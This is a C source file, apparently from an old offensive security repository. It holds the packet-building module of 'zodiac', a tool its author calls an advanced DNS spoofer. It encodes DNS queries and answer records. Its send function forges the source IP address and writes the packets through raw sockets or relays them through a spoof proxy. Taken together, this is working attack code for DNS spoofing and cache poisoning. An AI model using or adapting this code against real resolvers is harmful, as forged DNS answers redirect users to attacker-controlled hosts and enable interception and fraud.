security-scripts/dns-projects/zodiac/src/dns-build.c

671 lines
15 KiB
C
Raw Normal View History

/* zodiac - advanced dns spoofer
*
* dns packet construction routines
* if you need some, just borrow here and drop me a line of credit :)
*
* by scut / teso
*/
#include <libnet.h> /* route's owning library =) */
#include <arpa/nameser.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "dns.h"
#include "dns-build.h"
#include "dns-tag.h"
#include "io-udp.h"
#include "network.h"
#include "zodiac.h"
extern char * match_hash;
/* dns_build_random
*
* prequel the domain name `domain' with a random sequence of characters
* with a random length if len is zero, or a fixed length if len is != 0
*
* return the allocated new string
*/
char *
dns_build_random (char *domain, size_t len)
{
int dlen, cc;
char *pr;
cc = dlen = (len == 0) ? m_random (3, 16) : len;
pr = xcalloc (1, strlen (domain) + dlen + 2);
for (; dlen > 0; --dlen) {
char p;
(int) p = m_random ((int) 'a', (int) 'z');
pr[dlen - 1] = p;
}
pr[cc] = '.';
memcpy (pr + cc + 1, domain, strlen (domain));
return (pr);
}
/* dns_domain
*
* return a pointer to the beginning of the SLD within a full qualified
* domain name `domainname'.
*
* return NULL on failure
* return a pointer to the beginning of the SLD on success
*/
char *
dns_domain (char *domainname)
{
char *last_label = NULL,
*hold_label = NULL;
if (domainname == NULL)
return (NULL);
/* find last SLD
*/
for (; *domainname != '\x00'; ++domainname) {
if (*domainname == '.') {
last_label = hold_label;
hold_label = domainname + 1;
}
}
return (last_label);
}
/*
* gets the domain of an in-addr.arpa string.
* 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa
* return a pointer inside arpaname on success
* return NULL on failure
*/
char *
dns_ptr_domain (char *arpaname)
{
char *dot;
if (strstr (arpaname, "in-addr.arpa") == NULL)
return (NULL);
if (atoi (arpaname) == 0)
return (NULL);
dot = strchr (arpaname, '.');
return ((dot == NULL) ? NULL : (dot + 1));
}
/* dns_build_new
*
* constructor. create new packet data body
*
* return packet data structure pointer (initialized)
*/
dns_pdata *
dns_build_new (void)
{
dns_pdata *new;
new = xcalloc (1, sizeof (dns_pdata));
new->p_offset = NULL;
new->p_data = NULL;
return (new);
}
/* dns_build_destroy
*
* destructor. destroy a dns_pdata structure pointed to by `pd'
*
* return in any case
*/
void
dns_build_destroy (dns_pdata *pd)
{
if (pd == NULL)
return;
if (pd->p_data != NULL)
free (pd->p_data);
free (pd);
return;
}
/* dns_build_plen
*
* calculate the length of the current packet data body pointed to by `pd'.
*
* return the packet length
*/
u_short
dns_build_plen (dns_pdata *pd)
{
if (pd == NULL)
return (0);
if (pd->p_data == NULL || pd->p_offset == NULL)
return (0);
return ((u_short) (pd->p_offset - pd->p_data));
}
/* dns_build_extend
*
* extend a dns_pdata structure data part for `amount' bytes.
*
* return a pointer to the beginning of the extension
*/
unsigned char *
dns_build_extend (dns_pdata *pd, size_t amount)
{
unsigned int u_ptr = dns_build_plen (pd);
/* realloc is your friend =)
*/
pd->p_data = realloc (pd->p_data, u_ptr + amount);
if (pd->p_data == NULL) {
exit (EXIT_FAILURE);
}
/* since realloc can move the memory we have to calculate
* p_offset completely from scratch
*/
pd->p_offset = pd->p_data + u_ptr + amount;
return (pd->p_data + u_ptr);
}
/* dns_build_ptr
*
* take a numeric quad dot notated ip address `ip_str' and build a char
* domain out of it within the IN-ADDR.ARPA domain.
*
* return NULL on failure
* return a char pointer to the converted domain name
*/
char *
dns_build_ptr (char *ip_str)
{
char *ip_ptr;
int dec[4];
int n;
if (ip_str == NULL)
return (NULL);
/* kludge for functions that already pass a reversed string
*/
if (strstr (ip_str, "in-addr.arpa"))
return (xstrdup (ip_str));
/* parse ip string, on failure drop conversion
*/
n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]);
if (n != 4)
return (NULL);
/* allocate a new string of the required length
*/
ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1);
sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]);
return (ip_ptr);
}
/* dns_build_q
*
* append a query record into a dns_pdata structure, where `dname' is the
* domain name that should be queried, using `qtype' and `qclass' as types.
*
* conversion of the `dname' takes place according to the value of `qtype':
*
* qtype | expected dname format | converted to
* ---------+-----------------------+-----------------------------------------
* T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name
* T_A | char *, full hostname | dns domain name
* T_NS | " | "
* T_CNAME | " | "
* T_SOA | " | "
* T_WKS | " | "
* T_HINFO | " | "
* T_MINFO | " | "
* T_MX | " | "
* T_ANY | " | "
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *
dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass)
{
unsigned char *qdomain = NULL;
unsigned char *tgt, *rp;
int dlen;
switch (qtype) {
case (T_PTR):
/* convert in itself, then convert to a dns domain
*/
dname = dns_build_ptr (dname);
if (dname == NULL)
return (NULL);
case (T_A):
case (T_NS):
case (T_CNAME):
case (T_SOA):
case (T_WKS):
case (T_HINFO):
case (T_MINFO):
case (T_MX):
case (T_TXT):
case (T_ANY):
/* convert to a dns domain
*/
dlen = dns_build_domain (&qdomain, dname);
if (dlen == 0)
return (NULL);
break;
default:
return (NULL);
}
tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass));
memcpy (tgt, qdomain, dlen);
tgt += dlen;
free (qdomain);
PUTSHORT (qtype, tgt);
PUTSHORT (qclass, tgt);
return (rp);
}
/* dns_build_rr
*
* append a resource record into a dns_pdata structure, pointed ty by `pd',
* where `dname' is the domain name the record belongs to, `type' and `class'
* are the type and class of the dns data part, `ttl' is the time to live,
* the time in seconds how long to cache the record. `rdlength' is the length
* of the resource data pointed to by `rdata'.
* depending on `type' the data at `rdata' will be converted to the appropiate
* type:
*
* type | rdata points to | will be
* -------+---------------------+---------------------------------------------
* T_A | char IP address | 4 byte network byte ordered IP address
* T_PTR | char domain name | encoded dns domain name
* T_NS | char domain name | encoded dns domain name
*
* return (beside adding the record) the pointer to the record within the data
*/
unsigned char *
dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class,
u_long ttl, void *rdata)
{
char *ptr_ptr = NULL;
struct in_addr ip_addr; /* temporary, to convert */
unsigned char *qdomain = NULL;
unsigned char *tgt, *rp = NULL;
u_short rdlength = 0;
unsigned char *rdata_converted; /* converted rdata */
int n;
switch (type) {
case (T_A):
/* resolve the quad dotted IP address, then copy it into the
* rdata array
*/
ip_addr.s_addr = net_resolve ((char *) rdata);
rdata_converted = xcalloc (1, sizeof (struct in_addr));
memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr));
rdlength = 4;
break;
case (T_NS):
case (T_CNAME):
case (T_PTR):
/* build a dns domain from the plaintext domain name
*/
n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata);
if (n == 0)
return (NULL);
rdlength = n;
break;
case (T_TXT):
rdata_converted = xstrdup (rdata);
rdlength = strlen (rdata_converted);
break;
default:
return (NULL);
}
/* create a real dns domain from the plaintext query domain
*/
switch (type) {
case (T_PTR):
ptr_ptr = dns_build_ptr (dname);
dname = ptr_ptr;
default:
n = dns_build_domain (&qdomain, dname);
if (n == 0)
goto rr_fail;
break;
}
if (ptr_ptr != NULL)
free (ptr_ptr);
/* extend the existing dns packet to hold our extra rr record
*/
tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) +
sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength);
memcpy (tgt, qdomain, dns_labellen (qdomain));
tgt += dns_labellen (qdomain);
free (qdomain);
PUTSHORT (type, tgt);
PUTSHORT (class, tgt);
PUTLONG (ttl, tgt);
PUTSHORT (rdlength, tgt);
memcpy (tgt, rdata_converted, rdlength);
tgt += rdlength;
rr_fail:
free (rdata_converted);
return (rp);
}
/* dns_build_query_label
*
* build a query label given from the data `query' that should be enclosed
* and the query type `qtype' and query class `qclass'.
* the label is passed back in printable form, not in label-length form.
*
* qtype qclass query
* -----------+---------------+-----------------------------------------------
* A IN pointer to a host- or domainname
* PTR IN pointer to a struct in_addr
*
* ... (to be extended) ...
*
* return 0 on success
* return 1 on failure
*/
int
dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query)
{
char label[256];
struct in_addr *ip;
/* we do only internet queries (qclass is just for completeness)
* also drop empty queries
*/
if (qclass != C_IN || query == NULL)
return (1);
switch (qtype) {
case (T_A): *query_dst = xstrdup (query);
break;
case (T_PTR): memset (label, '\0', sizeof (label));
ip = (struct in_addr *) query;
net_printipr (ip, label, sizeof (label) - 1);
scnprintf (label, sizeof (label), ".in-addr.arpa");
*query_dst = xstrdup (label);
break;
default: return (1);
break;
}
return (0);
}
/* dns_build_domain
*
* build a dns domain label sequence out of a printable domain name
* store the resulting domain in `denc', get the printable domain
* from `domain'.
*
* return 0 on failure
* return length of the created domain (include suffixing '\x00')
*/
int
dns_build_domain (unsigned char **denc, char *domain)
{
char *start = domain,
*out,
c = '\0';
int n = strlen (domain);
if (n > MAXDNAME)
return (0);
out = *denc = xcalloc (1, n + 2);
domain += n - 1;
out += n + 1;
*out-- = 0;
n = 0;
while (domain >= start) {
c = *domain--;
if (c == '.') {
*out-- = n;
n = 0;
} else {
*out-- = c;
n++;
}
}
if (n != '\0')
*out-- = n;
return (strlen (out + 1) + 1);
}
/* deprecated, old version
int
dns_build_domain (unsigned char **denc, char *domain)
{
char *b, *dst;
if (strlen (domain) >= 255)
return (0);
dst = *denc = xcalloc (1, strlen (domain) + 2);
*dst = (unsigned char) dns_build_domain_dotlen (domain);
dst++;
for (b = domain ; *b != '\x00' ; ++b) {
if (*b == '.') {
*dst = (unsigned char) dns_build_domain_dotlen (b + 1);
} else {
*dst = *b;
}
++dst;
}
*dst = '\x00';
dst += 1;
return ((unsigned long int) ((unsigned long) dst - (unsigned long) *denc));
}
*/
/* dns_build_domain_dotlen
*
* helper routine, determine the length of the next label in a human
* printed domain name
*
* return the number of characters until an occurance of \x00 or '.'
*/
int
dns_build_domain_dotlen (char *label)
{
int n;
/* determine length
*/
for (n = 0; *label != '.' && *label != '\x00'; n++, ++label)
;
return (n);
}
/* dns_packet_send
*
* send a prepared dns packet spoofing from `ip_src' to `ip_dst', using
* source port `prt_src' and destination port `prt_dst'. the dns header
* data is filled with `dns_id', the dns identification number of the
* packet, `flags', which are the 16bit flags in the dns header, then
* four count variables, each for a dns segment: `count_q' is the number
* of queries, `count_a' the number of answers, `count_ns' the number of
* nameserver entries and `count_ad' the number of additional entries.
* the real dns data is aquired from `dbuf', `dbuf_s' bytes in length.
* the dns data should be constructed using the dns_build_* functions.
* if the packet should be compressed before sending it, `compress'
* should be set to 1.
*
* return 0 on success
* return 1 on failure
*/
int
dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst,
u_short dns_id, u_short flags, u_short count_q, u_short count_a,
u_short count_ns, u_short count_ad, dns_pdata *pd, int compress)
{
int sock; /* raw socket, yeah :) */
int n; /* temporary return value */
unsigned char buf[4096]; /* final packet buffer */
unsigned char *dbuf = pd->p_data;
size_t dbuf_s = dns_build_plen (pd);
struct in_addr s_addr,
d_addr;
s_addr.s_addr = net_resolve (ip_src);
d_addr.s_addr = net_resolve (ip_dst);
libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */
flags, /* standard query response */
count_q, /* count for query */
count_a, /* count for answer */
count_ns, /* count for authoritative information */
count_ad, /* count for additional information */
dbuf, /* buffer with the queries/rr's */
dbuf_s, /* query size */
buf + IP_H + UDP_H); /* write into packet buffer */
libnet_build_udp ( prt_src, /* source port */
prt_dst, /* 53 usually */
NULL, /* content already there */
DNS_H + dbuf_s, /* same */
buf + IP_H); /* build after ip header */
libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */
0, /* tos */
libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */
0, /* frag */
64, /* ttl */
IPPROTO_UDP, /* subprotocol */
s_addr.s_addr, /* spoofa ;) */
d_addr.s_addr, /* local dns querier */
NULL, /* payload already there */
0, /* same */
buf); /* build in packet buffer */
libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s);
libnet_do_checksum (buf, IPPROTO_IP, IP_H);
/* check whether we have to send out our putty through a spoof proxy :-]
*/
if (zodiac_spoof_proxy == NULL) {
/* mark packet so we don't fucking catch our own packets =-)
*/
dns_tag_add (ip_src, ip_dst, prt_src, prt_dst, dns_id);
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1)
return (1);
n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s);
if (n < UDP_H + IP_H + DNS_H + dbuf_s) {
return (1);
}
close (sock);
} else {
socklen_t p_len = UDP_H + IP_H + DNS_H + dbuf_s;
unsigned char *p_buf;
/* set matching hash
*/
p_buf = xcalloc (1, p_len + 16);
memcpy (p_buf + 16, buf, p_len);
memcpy (p_buf, match_hash, 16);
p_len += 16;
udp_write (zodiac_spoof_proxy, zodiac_spoof_proxy_port, p_buf,
p_len, zodiac_spoof_proxy_key);
free (p_buf);
}
return (0);
}